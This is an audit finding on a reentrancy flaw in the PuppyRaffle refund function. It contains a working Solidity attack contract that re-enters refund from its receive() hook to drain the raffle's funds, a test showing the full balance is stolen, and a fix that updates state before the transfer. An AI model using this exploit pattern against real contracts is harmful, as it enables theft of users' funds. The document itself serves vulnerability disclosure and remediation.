Summary
The refund function updates the contract’s state after transferring the entrance fee to the sender, making it vulnerable to reentrancy attacks.
Vulnerability Details
The function refund doesn't follow the CEI (Checks, Effects, Interactions) pattern in a proper way.
Specifically, the function updates the state post-interaction, exposing the contract to potentials reentrancy attacks.
In the refund function, the state update (removal of the sender from the array of players) happens post-transfer of the entranceFee.
This could allow a malicious contract to repeatedly call the refund function, thereby draining the PuppyRaffle funds.
Impact
This issue can lead to a scenario where the PuppyRaffle gets completely drained of funds.
Here's my PoC:
I created a contract that performs a reentrancy attack to the PuppyRaffle contract.
pragma solidity ^0.7.6;
import {IPuppyRaffle} from "./interfaces/IPuppyRaffle.sol";
* @title AttackRaffle
* @author Luke4G1
* @notice A contract that attacks the PuppyRaffle to steal its funds.
* @dev Other functions for managing access controll or withdrawing funds are not implemented on purpose.
* The contract implements only the logic that shows how the PuppyRaffle reentrancy vulnerability can be exploited.
*/
contract AttackRaffle {
IPuppyRaffle puppyRaffleVictim;
uint256 index;
address thisAddress;
address[] participantsArray;
constructor(address victimAddress) {
puppyRaffleVictim = IPuppyRaffle(victimAddress);
thisAddress = address(this);
}
* @dev this function executes each time the contract receives some ETH
* @dev it calls the 'refund' function until the balance of the PuppyRaffle is 0.
*/
receive() external payable {
if (address(puppyRaffleVictim).balance > 0) {
puppyRaffleVictim.refund(index);
} else {
return;
}
}
* @notice This function enters the lottery and calls 'refund' for the first time.
* @dev The function does participate in the lottery this contract, making sure that 'refund' ca be called.
* The function is 'payable' in order to allow the contract to be fund without triggering the 'receive' function.
*/
function triggerAttack() public payable {
participantsArray.push(thisAddress);
puppyRaffleVictim.enterRaffle{value: 1 ether * participantsArray.length}(participantsArray);
index = puppyRaffleVictim.getActivePlayerIndex(thisAddress);
puppyRaffleVictim.refund(index);
}
}
This test illustrates how all the PuppyRaffle funds can be stolen, simulating a reentrancy attack from AttackRaffle.
function testAttackerCanStealFunds() public {
AttackRaffle attacker = new AttackRaffle(address(puppyRaffle));
address[] memory participants = new address[](3);
participants[0] = playerOne;
participants[1] = playerTwo;
participants[2] = playerFour;
uint256 participantsFee = entranceFee * 3;
puppyRaffle.enterRaffle{value: participantsFee}(participants);
attacker.triggerAttack{value: entranceFee}();
assert(address(puppyRaffle).balance == 0);
assert(address(attacker).balance == participantsFee + entranceFee);
}
Tools Used
Recommendations
To fix this, modify the refund function's logic in order to update the state before execution of the transfer operation.
+ players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
Updating the state before the transfer happens will ensure that the refund function will send back the entrance fee to the player without any risk.
